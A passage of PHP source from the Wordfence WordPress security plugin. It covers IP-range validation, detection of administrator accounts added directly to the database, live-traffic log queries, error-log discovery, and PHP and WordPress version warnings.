.= str_pad(strtolower($group), 4, '0', STR_PAD_LEFT) . ':'; } else { return false; } } return trim($expanded, ':'); } /** * @return bool */ public function isValidRange() { return $this->isValidCIDRRange() || $this->isValidBracketedRange() || $this->isValidLinearRange() || wfUtils::isValidIP($this->getIPString()); } public function isValidCIDRRange() { //e.g., 192.0.2.1/24 $ip_string = $this->getIPString(); if (preg_match('/[^0-9a-f:\/\.]/i', $ip_string)) { return false; } return wfUtils::isValidCIDRRange($ip_string); } public function isValidBracketedRange() { //e.g., 192.0.2.[1-10] $ip_string = $this->getIPString(); if (preg_match('/[^0-9a-f:\.\[\]\-]/i', $ip_string)) { return false; } if (strpos($ip_string, '.') !== false) { //IPv4 if (preg_match_all('/(\d+)/', $ip_string, $matches) > 0) { foreach ($matches[1] as $match) { $group = (int) $match; if ($group > 255 || $group < 0) { return false; } } } $group_regex = '([0-9]{1,3}|\[[0-9]{1,3}\-[0-9]{1,3}\])'; return preg_match('/^' . str_repeat("{$group_regex}\\.", 3) . $group_regex . '$/i', $ip_string) > 0; } //IPv6 if (strpos($ip_string, '::') !== false) { $ip_string = self::expandIPv6Range($ip_string); } if (!$ip_string) { return false; } $group_regex = '([a-f0-9]{1,4}|\[[a-f0-9]{1,4}\-[a-f0-9]{1,4}\])'; return preg_match('/^' . str_repeat("$group_regex:", 7) . $group_regex . '$/i', $ip_string) > 0; } public function isValidLinearRange() { //e.g., 192.0.2.1-192.0.2.100 $ip_string = $this->getIPString(); if (preg_match('/[^0-9a-f:\.\-]/i', $ip_string)) { return false; } list($ip1, $ip2) = explode("-", $ip_string); $ip1N = @wfUtils::inet_pton($ip1); $ip2N = @wfUtils::inet_pton($ip2); if ($ip1N === false || !wfUtils::isValidIP($ip1) || $ip2N === false || !wfUtils::isValidIP($ip2)) { return false; } return strcmp($ip1N, $ip2N) <= 0; } public function isMixedRange() { //e.g., 192.0.2.1-2001:db8::ffff $ip_string = $this->getIPString(); if (preg_match('/[^0-9a-f:\.\-]/i', $ip_string)) { return false; } list($ip1, $ip2) = explode("-", $ip_string); $ipv4Count = 0; $ipv4Count += filter_var($ip1, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false ? 1 : 0; $ipv4Count += filter_var($ip2, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false ? 1 : 0; $ipv6Count = 0; $ipv6Count += filter_var($ip1, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false ? 1 : 0; $ipv6Count += filter_var($ip2, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false ? 1 : 0; if ($ipv4Count != 2 && $ipv6Count != 2) { return true; } return false; } protected function _sanitizeIPRange($ip_string) { if (!is_string($ip_string)) return null; $ip_string = preg_replace('/\s/', '', $ip_string); //Strip whitespace $ip_string = preg_replace('/[\\x{2013}-\\x{2015}]/u', '-', $ip_string); //Non-hyphen dashes to hyphen $ip_string = strtolower($ip_string); if (preg_match('/^\d+-\d+$/', $ip_string)) { //v5 32 bit int style format list($start, $end) = explode('-', $ip_string); $start = long2ip($start); $end = long2ip($end); $ip_string = "{$start}-{$end}"; } return $ip_string; } /** * @return string|null */ public function getIPString() { return $this->ip_string; } /** * @param string|null $ip_string */ public function setIPString($ip_string) { $this->ip_string = $this->_sanitizeIPRange($ip_string); } } /** * The function of this class is to detect admin users created via direct access to the database (in other words, not * through WordPress). */ class wfAdminUserMonitor { protected $currentAdminList = array(); public function isEnabled() { $options = wfScanner::shared()->scanOptions(); $enabled = $options['scansEnabled_suspiciousAdminUsers']; if ($enabled && is_multisite()) { if (!function_exists('wp_is_large_network')) { require_once(ABSPATH . WPINC . '/ms-functions.php'); } $enabled = !wp_is_large_network('sites') && !wp_is_large_network('users'); } return $enabled; } /** * */ public function createInitialList() { $admins = $this->getCurrentAdmins(); $adminUserList = array(); foreach ($admins as $id => $user) { $adminUserList[$id] = 1; } wfConfig::set_ser('adminUserList', $adminUserList); } /** * @param int $userID */ public function grantSuperAdmin($userID = null) { if ($userID) { $this->addAdmin($userID); } } /** * @param int $userID */ public function revokeSuperAdmin($userID = null) { if ($userID) { $this->removeAdmin($userID); } } /** * @param int $ID * @param mixed $role * @param mixed $old_roles */ public function updateToUserRole($ID = null, $role = null, $old_roles = null) { $admins = $this->getLoggedAdmins(); if ($role !== 'administrator' && array_key_exists($ID, $admins)) { $this->removeAdmin($ID); } else if ($role === 'administrator') { $this->addAdmin($ID); } } /** * @return array|bool */ public function checkNewAdmins() { $loggedAdmins = $this->getLoggedAdmins(); $admins = $this->getCurrentAdmins(); $suspiciousAdmins = array(); foreach ($admins as $adminID => $v) { if (!array_key_exists($adminID, $loggedAdmins)) { $suspiciousAdmins[] = $adminID; } } return $suspiciousAdmins ? $suspiciousAdmins : false; } /** * Checks if the supplied user ID is suspicious. * * @param int $userID * @return bool */ public function isAdminUserLogged($userID) { $loggedAdmins = $this->getLoggedAdmins(); return array_key_exists($userID, $loggedAdmins); } /** * @param bool $forceReload * @return array */ public function getCurrentAdmins($forceReload = false) { if (empty($this->currentAdminList) || $forceReload) { require_once(ABSPATH . WPINC . '/user.php'); if (is_multisite()) { if (function_exists("get_sites")) { $sites = get_sites(array( 'network_id' => null, )); } else { $sites = wp_get_sites(array( 'network_id' => null, )); } } else { $sites = array(array( 'blog_id' => get_current_blog_id(), )); } // not very efficient, but the WordPress API doesn't provide a good way to do this. $this->currentAdminList = array(); foreach ($sites as $siteRow) { $siteRowArray = (array) $siteRow; $user_query = new WP_User_Query(array( 'blog_id' => $siteRowArray['blog_id'], 'role' => 'administrator', )); $users = $user_query->get_results(); if (is_array($users)) { /** @var WP_User $user */ foreach ($users as $user) { $this->currentAdminList[$user->ID] = $user; } } } // Add any super admins that aren't also admins on a network $superAdmins = get_super_admins(); foreach ($superAdmins as $userLogin) { $user = get_user_by('login', $userLogin); if ($user) { $this->currentAdminList[$user->ID] = $user; } } } return $this->currentAdminList; } public function getLoggedAdmins() { $loggedAdmins = wfConfig::get_ser('adminUserList', false); if (!is_array($loggedAdmins)) { $this->createInitialList(); $loggedAdmins = wfConfig::get_ser('adminUserList', false); } if (!is_array($loggedAdmins)) { $loggedAdmins = array(); } return $loggedAdmins; } /** * @param int $userID */ public function addAdmin($userID) { $loggedAdmins = $this->getLoggedAdmins(); if (!array_key_exists($userID, $loggedAdmins)) { $loggedAdmins[$userID] = 1; wfConfig::set_ser('adminUserList', $loggedAdmins); } } /** * @param int $userID */ public function removeAdmin($userID) { $loggedAdmins = $this->getLoggedAdmins(); if (array_key_exists($userID, $loggedAdmins) && !array_key_exists($userID, $this->getCurrentAdmins())) { unset($loggedAdmins[$userID]); wfConfig::set_ser('adminUserList', $loggedAdmins); } } } /** * Represents a request record * * @property int $id * @property float $attackLogTime * @property float $ctime * @property string $IP * @property bool $jsRun * @property int $statusCode * @property bool $isGoogle * @property int $userID * @property string $URL * @property string $referer * @property string $UA * @property string $action * @property string $actionDescription * @property string $actionData */ class wfRequestModel extends wfModel { private static $actionDataEncodedParams = array( 'paramKey', 'paramValue', 'path', ); /** * @param $actionData * @return mixed|string|void */ public static function serializeActionData($actionData, $optionalKeys = array(), $maxLength = 65535) { if (is_array($actionData)) { foreach (self::$actionDataEncodedParams as $key) { if (array_key_exists($key, $actionData)) { $actionData[$key] = base64_encode($actionData[$key]); } } } do { $serialized = json_encode($actionData, JSON_UNESCAPED_SLASHES); $length = strlen($serialized); if ($length <= $maxLength) return $serialized; $excess = $length - $maxLength; $truncated = false; foreach ($optionalKeys as $key) { if (array_key_exists($key, $actionData)) { $fieldValue = $actionData[$key]; $fieldLength = strlen($fieldValue); $truncatedLength = min($fieldLength, $excess); $truncated = true; if ($truncatedLength > 0) { $actionData[$key] = substr($fieldValue, 0, -$truncatedLength); $excess -= $truncatedLength; } else { unset($actionData[$key]); break; } } } } while ($truncated); return null; } /** * @param $actionDataJSON * @return mixed|string|void */ public static function unserializeActionData($actionDataJSON) { $actionData = json_decode($actionDataJSON, true); if (is_array($actionData)) { foreach (self::$actionDataEncodedParams as $key) { if (array_key_exists($key, $actionData)) { $actionData[$key] = base64_decode($actionData[$key]); } } } else { $actionData = array(); } return $actionData; } private $columns = array( 'id', 'attackLogTime', 'ctime', 'IP', 'jsRun', 'statusCode', 'isGoogle', 'userID', 'URL', 'referer', 'UA', 'action', 'actionDescription', 'actionData', ); public function getIDColumn() { return 'id'; } public function getTable() { return wfDB::networkTable('wfHits'); } public function hasColumn($column) { return in_array($column, $this->columns); } public function save() { $sapi = @php_sapi_name(); if ($sapi == "cli") { return false; } return parent::save(); } } class wfLiveTrafficQuery { protected $validParams = array( 'id' => 'h.id', 'ctime' => 'h.ctime', 'ip' => 'h.ip', 'jsrun' => 'h.jsrun', 'statuscode' => 'h.statuscode', 'isgoogle' => 'h.isgoogle', 'userid' => 'h.userid', 'url' => 'h.url', 'referer' => 'h.referer', 'ua' => 'h.ua', 'action' => 'h.action', 'actiondescription' => 'h.actiondescription', 'actiondata' => 'h.actiondata', // wfLogins 'user_login' => 'u.user_login', 'username' => 'l.username', ); /** @var wfLiveTrafficQueryFilterCollection */ private $filters = array(); /** @var wfLiveTrafficQueryGroupBy */ private $groupBy; /** * @var float|null */ private $startDate; /** * @var float|null */ private $endDate; /** * @var int */ private $limit; /** * @var int */ private $offset; private $tableName; /** @var wfLog */ private $wfLog; /** * wfLiveTrafficQuery constructor. * * @param wfLog $wfLog * @param wfLiveTrafficQueryFilterCollection $filters * @param wfLiveTrafficQueryGroupBy $groupBy * @param float $startDate * @param float $endDate * @param int $limit * @param int $offset */ public function __construct($wfLog, $filters = null, $groupBy = null, $startDate = null, $endDate = null, $limit = 20, $offset = 0) { $this->wfLog = $wfLog; $this->filters = $filters; $this->groupBy = $groupBy; $this->startDate = $startDate; $this->endDate = $endDate; $this->limit = $limit; $this->offset = $offset; } /** * @return array|null|object */ public function execute() { global $wpdb; $delayedHumanBotFiltering = false; $humanOnly = false; $sql = $this->buildQuery($delayedHumanBotFiltering, $humanOnly); $results = $wpdb->get_results($sql, ARRAY_A); if ($delayedHumanBotFiltering) { $browscap = wfBrowscap::shared(); foreach ($results as $index => $res) { if ($res['UA']) { $b = $browscap->getBrowser($res['UA']); $jsRun = wfUtils::truthyToBoolean($res['jsRun']); if ($b && $b['Parent'] != 'DefaultProperties') { $jsRun = wfUtils::truthyToBoolean($res['jsRun']); if (!wfConfig::liveTrafficEnabled() && !$jsRun) { $jsRun = !(isset($b['Crawler']) && $b['Crawler']); } } if (!$humanOnly && $jsRun || $humanOnly && !$jsRun) { unset($results[$index]); } } } } $this->getWFLog()->processGetHitsResults('', $results); $verifyCrawlers = false; if ($this->filters !== null && count($this->filters->getFilters()) > 0) { $filters = $this->filters->getFilters(); foreach ($filters as $f) { if (strtolower($f->getParam()) == "isgoogle") { $verifyCrawlers = true; break; } } } foreach ($results as $key => &$row) { if ($row['isGoogle'] && $verifyCrawlers) { if (!wfCrawl::isVerifiedGoogleCrawler($row['IP'], $row['UA'])) { unset($results[$key]); //foreach copies $results and iterates on the copy, so it is safe to mutate $results within the loop continue; } } $row['actionData'] = $row['actionData'] === null ? array() : (array) json_decode($row['actionData'], true); } return array_values($results); } /** * @param mixed $delayedHumanBotFiltering Whether or not human/bot filtering should be applied in PHP rather than SQL. * @param mixed $humanOnly When using delayed filtering, whether to show only humans or only bots. * * @return string * @throws wfLiveTrafficQueryException */ public function buildQuery(&$delayedHumanBotFiltering, &$humanOnly) { global $wpdb; $filters = $this->getFilters(); $groupBy = $this->getGroupBy(); $startDate = $this->getStartDate(); $endDate = $this->getEndDate(); $limit = absint($this->getLimit()); $offset = absint($this->getOffset()); $wheres = array("h.action != 'logged:waf'", "h.action != 'scan:detectproxy'"); if ($startDate) { $wheres[] = $wpdb->prepare('h.ctime > %f', $startDate); } if ($endDate) { $wheres[] = $wpdb->prepare('h.ctime < %f', $endDate); } if ($filters instanceof wfLiveTrafficQueryFilterCollection) { if (!wfConfig::liveTrafficEnabled()) { $individualFilters = $filters->getFilters(); foreach ($individualFilters as $index => $f) { if ($f->getParam() == 'jsRun' && $delayedHumanBotFiltering !== null && $humanOnly !== null) { $humanOnly = wfUtils::truthyToBoolean($f->getValue()); if ($f->getOperator() == '!=') { $humanOnly = !$humanOnly; } $delayedHumanBotFiltering = true; unset($individualFilters[$index]); } } $filters->setFilters($individualFilters); } $filtersSQL = $filters->toSQL(); if ($filtersSQL) { $wheres[] = $filtersSQL; } } $orderBy = 'ORDER BY h.ctime DESC'; $select = ', l.username'; $groupBySQL = ''; if ($groupBy && $groupBy->validate()) { $groupBySQL = "GROUP BY {$groupBy->getParam()}"; $orderBy = 'ORDER BY hitCount DESC'; $select .= ', COUNT(h.id) as hitCount, MAX(h.ctime) AS lastHit, u.user_login AS username'; if ($groupBy->getParam() == 'user_login') { $wheres[] = 'user_login IS NOT NULL'; } else if ($groupBy->getParam() == 'action') { $wheres[] = '(statusCode = 403 OR statusCode = 503)'; } } $where = join(' AND ', $wheres); if ($where) { $where = 'WHERE ' . $where; } if (!$limit || $limit > 1000) { $limit = 20; } $limitSQL = $wpdb->prepare('LIMIT %d, %d', $offset, $limit); $table_wfLogins = wfDB::networkTable('wfLogins'); $sql = <<getTableName()} h LEFT JOIN {$wpdb->users} u on h.userID = u.ID LEFT JOIN {$table_wfLogins} l on h.id = l.hitID $where $groupBySQL $orderBy $limitSQL SQL; return $sql; } /** * @param $param * @return bool */ public function isValidParam($param) { return array_key_exists(strtolower($param), $this->validParams); } /** * @param $getParam * @return bool|string */ public function getColumnFromParam($getParam) { $getParam = strtolower($getParam); if (array_key_exists($getParam, $this->validParams)) { return $this->validParams[$getParam]; } return false; } /** * @return wfLiveTrafficQueryFilterCollection */ public function getFilters() { return $this->filters; } /** * @param wfLiveTrafficQueryFilterCollection $filters */ public function setFilters($filters) { $this->filters = $filters; } /** * @return float|null */ public function getStartDate() { return $this->startDate; } /** * @param float|null $startDate */ public function setStartDate($startDate) { $this->startDate = $startDate; } /** * @return float|null */ public function getEndDate() { return $this->endDate; } /** * @param float|null $endDate */ public function setEndDate($endDate) { $this->endDate = $endDate; } /** * @return wfLiveTrafficQueryGroupBy */ public function getGroupBy() { return $this->groupBy; } /** * @param wfLiveTrafficQueryGroupBy $groupBy */ public function setGroupBy($groupBy) { $this->groupBy = $groupBy; } /** * @return int */ public function getLimit() { return $this->limit; } /** * @param int $limit */ public function setLimit($limit) { $this->limit = $limit; } /** * @return int */ public function getOffset() { return $this->offset; } /** * @param int $offset */ public function setOffset($offset) { $this->offset = $offset; } /** * @return string */ public function getTableName() { if ($this->tableName === null) { $this->tableName = wfDB::networkTable('wfHits'); } return $this->tableName; } /** * @param string $tableName */ public function setTableName($tableName) { $this->tableName = $tableName; } /** * @return wfLog */ public function getWFLog() { return $this->wfLog; } /** * @param wfLog $wfLog */ public function setWFLog($wfLog) { $this->wfLog = $wfLog; } } class wfLiveTrafficQueryFilterCollection { private $filters = array(); /** * wfLiveTrafficQueryFilterCollection constructor. * * @param array $filters */ public function __construct($filters = array()) { $this->filters = $filters; } public function toSQL() { $params = array(); $sql = ''; $filters = $this->getFilters(); if ($filters) { /** @var wfLiveTrafficQueryFilter $filter */ foreach ($filters as $filter) { $params[$filter->getParam()][] = $filter; } } foreach ($params as $param => $filters) { // $sql .= '('; $filtersSQL = ''; foreach ($filters as $filter) { $filterSQL = $filter->toSQL(); if ($filterSQL) { $filtersSQL .= $filterSQL . ' OR '; } } if ($filtersSQL) { $sql .= '(' . substr($filtersSQL, 0, -4) . ') AND '; } } if ($sql) { $sql = substr($sql, 0, -5); } return $sql; } public function addFilter($filter) { $this->filters[] = $filter; } /** * @return array */ public function getFilters() { return $this->filters; } /** * @param array $filters */ public function setFilters($filters) { $this->filters = $filters; } } class wfLiveTrafficQueryFilter { private $param; private $operator; private $value; protected $validOperators = array( '=', '!=', 'contains', 'match', 'hregexp', 'hnotregexp', ); /** * @var wfLiveTrafficQuery */ private $query; /** * wfLiveTrafficQueryFilter constructor. * * @param wfLiveTrafficQuery $query * @param string $param * @param string $operator * @param string $value */ public function __construct($query, $param, $operator, $value) { $this->query = $query; $this->param = $param; $this->operator = $operator; $this->value = $value; } /** * @return string|void */ public function toSQL() { $sql = ''; if ($this->validate()) { /** @var wpdb $wpdb */ global $wpdb; $operator = $this->getOperator(); $param = $this->getQuery()->getColumnFromParam($this->getParam()); if (!$param) { return $sql; } $value = $this->getValue(); switch ($operator) { case 'contains': $like = addcslashes($value, '_%\\'); $sql = $wpdb->prepare("$param LIKE %s", "%$like%"); break; case 'match': $sql = $wpdb->prepare("$param LIKE %s", $value); break; case 'hregexp': $sql = $wpdb->prepare("HEX($param) REGEXP %s", $value); break; case 'hnotregexp': $sql = $wpdb->prepare("HEX($param) NOT REGEXP %s", $value); break; default: $sql = $wpdb->prepare("$param $operator %s", $value); break; } } return $sql; } /** * @return bool */ public function validate() { $valid = $this->isValidParam($this->getParam()) && $this->isValidOperator($this->getOperator()); if (defined('WP_DEBUG') && WP_DEBUG) { if (!$valid) { throw new wfLiveTrafficQueryException("Invalid param/operator [{$this->getParam()}]/[{$this->getOperator()}] passed to " . get_class($this)); } return true; } return $valid; } /** * @param string $param * @return bool */ public function isValidParam($param) { return $this->getQuery() && $this->getQuery()->isValidParam($param); } /** * @param string $operator * @return bool */ public function isValidOperator($operator) { return in_array($operator, $this->validOperators); } /** * @return mixed */ public function getParam() { return $this->param; } /** * @param mixed $param */ public function setParam($param) { $this->param = $param; } /** * @return mixed */ public function getOperator() { return $this->operator; } /** * @param mixed $operator */ public function setOperator($operator) { $this->operator = $operator; } /** * @return mixed */ public function getValue() { return $this->value; } /** * @param mixed $value */ public function setValue($value) { $this->value = $value; } /** * @return wfLiveTrafficQuery */ public function getQuery() { return $this->query; } /** * @param wfLiveTrafficQuery $query */ public function setQuery($query) { $this->query = $query; } } class wfLiveTrafficQueryGroupBy { private $param; /** * @var wfLiveTrafficQuery */ private $query; /** * wfLiveTrafficQueryGroupBy constructor. * * @param wfLiveTrafficQuery $query * @param string $param */ public function __construct($query, $param) { $this->query = $query; $this->param = $param; } /** * @return bool * @throws wfLiveTrafficQueryException */ public function validate() { $valid = $this->isValidParam($this->getParam()); if (defined('WP_DEBUG') && WP_DEBUG) { if (!$valid) { throw new wfLiveTrafficQueryException("Invalid param [{$this->getParam()}] passed to " . get_class($this)); } return true; } return $valid; } /** * @param string $param * @return bool */ public function isValidParam($param) { return $this->getQuery() && $this->getQuery()->isValidParam($param); } /** * @return wfLiveTrafficQuery */ public function getQuery() { return $this->query; } /** * @param wfLiveTrafficQuery $query */ public function setQuery($query) { $this->query = $query; } /** * @return mixed */ public function getParam() { return $this->param; } /** * @param mixed $param */ public function setParam($param) { $this->param = $param; } } class wfLiveTrafficQueryException extends Exception { } class wfErrorLogHandler { public static function getErrorLogs($deepSearch = false) { static $errorLogs = null; if ($errorLogs === null) { $searchPaths = array(ABSPATH, ABSPATH . 'wp-admin', ABSPATH . 'wp-content'); $homePath = wfUtils::getHomePath(); if (!in_array($homePath, $searchPaths)) { $searchPaths[] = $homePath; } $errorLogPath = ini_get('error_log'); if (!empty($errorLogPath) && !in_array($errorLogPath, $searchPaths)) { $searchPaths[] = $errorLogPath; } $errorLogs = array(); foreach ($searchPaths as $s) { $errorLogs = array_merge($errorLogs, self::_scanForLogs($s, $deepSearch)); } } return $errorLogs; } private static function _scanForLogs($path, $deepSearch = false) { static $processedFolders = array(); //Protection for endless loops caused by symlinks if (is_file($path)) { $file = basename($path); if (preg_match('#(?:^php_errorlog$|error_log(\-\d+)?$|\.log$)#i', $file)) { return array($path => is_readable($path)); } return array(); } $path = untrailingslashit($path); $contents = @scandir($path); if (!is_array($contents)) { return array(); } $processedFolders[$path] = true; $errorLogs = array(); foreach ($contents as $name) { if ($name == '.' || $name == '..') { continue; } $testPath = $path . DIRECTORY_SEPARATOR . $name; if (!array_key_exists($testPath, $processedFolders)) { if ((is_dir($testPath) && $deepSearch) || !is_dir($testPath)) { $errorLogs = array_merge($errorLogs, self::_scanForLogs($testPath, $deepSearch)); } } } return $errorLogs; } public static function outputErrorLog($path) { $errorLogs = self::getErrorLogs(); if (!isset($errorLogs[$path])) { //Only allow error logs we've identified global $wp_query; $wp_query->set_404(); status_header(404); nocache_headers(); $template = get_404_template(); if ($template && file_exists($template)) { include($template); } exit; } $fh = @fopen($path, 'r'); if (!$fh) { status_header(503); nocache_headers(); echo "503 Service Unavailable"; exit; } $headersOutputted = false; while (!feof($fh)) { $data = fread($fh, 1 * 1024 * 1024); //read 1 megs max per chunk if ($data === false) { //Handle the error where the file was reported readable but we can't actually read it status_header(503); nocache_headers(); echo "503 Service Unavailable"; exit; } if (!$headersOutputted) { header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename="' . basename($path)); $headersOutputted = true; } echo $data; } exit; } }wfVersionCheckController.php000064400000046421147206764270012267 0ustar00checkPHPVersion() == self::VERSION_COMPATIBLE) && ($this->checkOpenSSLVersion() == self::VERSION_COMPATIBLE) && ($this->checkWordPressVersion() == self::VERSION_COMPATIBLE); } /** * Does the same thing as checkVersions but also triggers display of the corresponding warnings. * * @return bool */ public function checkVersionsAndWarn() { require(dirname(__FILE__) . '/wfVersionSupport.php'); /** * @var string $wfPHPDeprecatingVersion * @var string $wfPHPMinimumVersion * @var string $wfOpenSSLDeprecatingVersion * @var string $wfOpenSSLMinimumVersion * @var string $wfWordPressDeprecatingVersion * @var string $wfWordPressMinimumVersion */ //PHP $php = $this->checkPHPVersion(); if ($php == self::VERSION_DEPRECATED) { $this->_alertEmail( 'phpVersionCheckDeprecationEmail_' . $wfPHPDeprecatingVersion, __('PHP version too old', 'wordfence'), sprintf( /* translators: 1. PHP version. 2. PHP version. */ __('Your site is using a PHP version (%1$s) that will no longer be supported by Wordfence in an upcoming release and needs to be updated. We recommend using the newest version of PHP available but will currently support PHP versions as old as %2$s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), phpversion(), $wfPHPDeprecatingVersion ) . ' ' . sprintf(__('Learn More: %s', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_VERSION_PHP)) ); $this->_adminNotice( 'phpVersionCheckDeprecationNotice_' . $wfPHPDeprecatingVersion, 'phpVersionCheck', wp_kses(sprintf( /* translators: 1. PHP version. 2. PHP version. */ __('WARNING: Your site is using a PHP version (%1$s) that will no longer be supported by Wordfence in an upcoming release and needs to be updated. We recommend using the newest version of PHP available but will currently support PHP versions as old as %2$s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), phpversion(), $wfPHPDeprecatingVersion ), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()))) . ' ' . esc_html__('Learn More', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')' ); } else if ($php == self::VERSION_UNSUPPORTED) { $this->_alertEmail( 'phpVersionCheckUnsupportedEmail_' . $wfPHPMinimumVersion, __('PHP version too old', 'wordfence'), sprintf( /* translators: 1. PHP version. 2. PHP version. */ __('Your site is using a PHP version (%1$s) that is no longer supported by Wordfence and needs to be updated. We recommend using the newest version of PHP available but will currently support PHP versions as old as %2$s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), phpversion(), $wfPHPDeprecatingVersion ) . ' ' . sprintf(/* translators: Support URL. */ __('Learn More: %s', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_VERSION_PHP)) ); $this->_adminNotice( 'phpVersionCheckUnsupportedNotice_' . $wfPHPMinimumVersion, 'phpVersionCheck', wp_kses(sprintf( /* translators: 1. PHP version. 2. PHP version. */ __('WARNING: Your site is using a PHP version (%1$s) that is no longer supported by Wordfence and needs to be updated. We recommend using the newest version of PHP available but will currently support PHP versions as old as %2$s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), phpversion(), $wfPHPDeprecatingVersion ), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()))) . ' ' . esc_html__('Learn More', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')' ); } else { wfAdminNoticeQueue::removeAdminNotice(false, 'phpVersionCheck'); } if (wfAdminNoticeQueue::hasNotice('phpVersionCheck')) { return false; } //OpenSSL wfAdminNoticeQueue::removeAdminNotice(false, 'opensslVersionCheck'); /*$openssl = $this->checkOpenSSLVersion(); if ($openssl == self::VERSION_DEPRECATED) { $this->_alertEmail( 'opensslVersionCheckDeprecationEmail_' . $wfOpenSSLDeprecatingVersion, __('OpenSSL version too old', 'wordfence'), sprintf(__('Your site is using an OpenSSL version (%s) that will no longer be supported by Wordfence in an upcoming release and needs to be updated. We recommend using the newest version of OpenSSL but will currently support OpenSSL versions as old as %s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), self::openssl_make_text_version(), $wfOpenSSLDeprecatingVersion) . ' ' . sprintf(__('Learn More: %s', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_VERSION_OPENSSL)) ); $this->_adminNotice( 'opensslVersionCheckDeprecationNotice_' . $wfOpenSSLDeprecatingVersion, 'opensslVersionCheck', sprintf(__('WARNING: Your site is using an OpenSSL version (%s) that will no longer be supported by Wordfence in an upcoming release and needs to be updated. We recommend using the newest version of OpenSSL but will currently support OpenSSL versions as old as %s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), self::openssl_make_text_version(), $wfOpenSSLDeprecatingVersion) . ' ' . __('Learn More', 'wordfence') . ' ()' ); return false; } else if ($openssl == self::VERSION_UNSUPPORTED) { $this->_alertEmail( 'opensslVersionCheckUnsupportedEmail_' . $wfOpenSSLMinimumVersion, __('OpenSSL version too old', 'wordfence'), sprintf(__('Your site is using an OpenSSL version (%s) that is no longer supported by Wordfence and needs to be updated. We recommend using the newest version of OpenSSL but will currently support OpenSSL versions as old as %s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), self::openssl_make_text_version(), $wfOpenSSLDeprecatingVersion) . ' ' . sprintf(__('Learn More: %s', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_VERSION_OPENSSL)) ); $this->_adminNotice( 'opensslVersionCheckUnsupportedNotice_' . $wfOpenSSLMinimumVersion, 'opensslVersionCheck', sprintf(__('WARNING: Your site is using an OpenSSL version (%s) that is no longer supported by Wordfence and needs to be updated. We recommend using the newest version of OpenSSL but will currently support OpenSSL versions as old as %s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), self::openssl_make_text_version(), $wfOpenSSLDeprecatingVersion) . ' ' . __('Learn More', 'wordfence') . ' ()' ); return false; } else { wfAdminNoticeQueue::removeAdminNotice(false, 'opensslVersionCheck'); } if (wfAdminNoticeQueue::hasNotice('opensslVersionCheck')) { return false; }*/ //WordPress $wordpress = $this->checkWordPressVersion(); if ($wordpress == self::VERSION_DEPRECATED) { require(ABSPATH . 'wp-includes/version.php'); /** @var string $wp_version */ $this->_alertEmail( 'wordpressVersionCheckDeprecationEmail_' . $wfWordPressDeprecatingVersion, __('WordPress version too old', 'wordfence'), sprintf( /* translators: 1. WordPress version. 2. WordPress version. */ __('Your site is using a WordPress version (%1$s) that will no longer be supported by Wordfence in an upcoming release and needs to be updated. We recommend using the newest version of WordPress but will currently support WordPress versions as old as %2$s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), $wp_version, $wfWordPressDeprecatingVersion ) . ' ' . sprintf(__('Learn More: %s', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_VERSION_WORDPRESS)) ); $this->_adminNotice( 'wordpressVersionCheckDeprecationNotice_' . $wfWordPressDeprecatingVersion, 'wordpressVersionCheck', wp_kses(sprintf( /* translators: 1. WordPress version. 2. WordPress version. */ __('WARNING: Your site is using a WordPress version (%1$s) that will no longer be supported by Wordfence in an upcoming release and needs to be updated. We recommend using the newest version of WordPress but will currently support WordPress versions as old as %2$s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), $wp_version, $wfWordPressDeprecatingVersion ), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()))) . ' ' . esc_html__('Learn More', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')' ); } else if ($wordpress == self::VERSION_UNSUPPORTED) { require(ABSPATH . 'wp-includes/version.php'); /** @var string $wp_version */ $this->_alertEmail( 'wordpressVersionCheckUnsupportedEmail_' . $wfWordPressMinimumVersion, __('WordPress version too old', 'wordfence'), sprintf( /* translators: 1. WordPress version. 2. WordPress version. */ __('Your site is using a WordPress version (%1$s) that is no longer supported by Wordfence and needs to be updated. We recommend using the newest version of WordPress but will currently support WordPress versions as old as %2$s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), $wp_version, $wfWordPressDeprecatingVersion) . ' ' . sprintf(__('Learn More: %s', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_VERSION_WORDPRESS)) ); $this->_adminNotice( 'wordpressVersionCheckUnsupportedNotice_' . $wfWordPressMinimumVersion, 'wordpressVersionCheck', wp_kses(sprintf( /* translators: 1. WordPress version. 2. WordPress version. */ __('WARNING: Your site is using a WordPress version (%1$s) that is no longer supported by Wordfence and needs to be updated. We recommend using the newest version of WordPress but will currently support WordPress versions as old as %2$s. Version checks are run regularly, so if you have successfully updated, you can dismiss this notice or check that the update has taken effect later.', 'wordfence'), $wp_version, 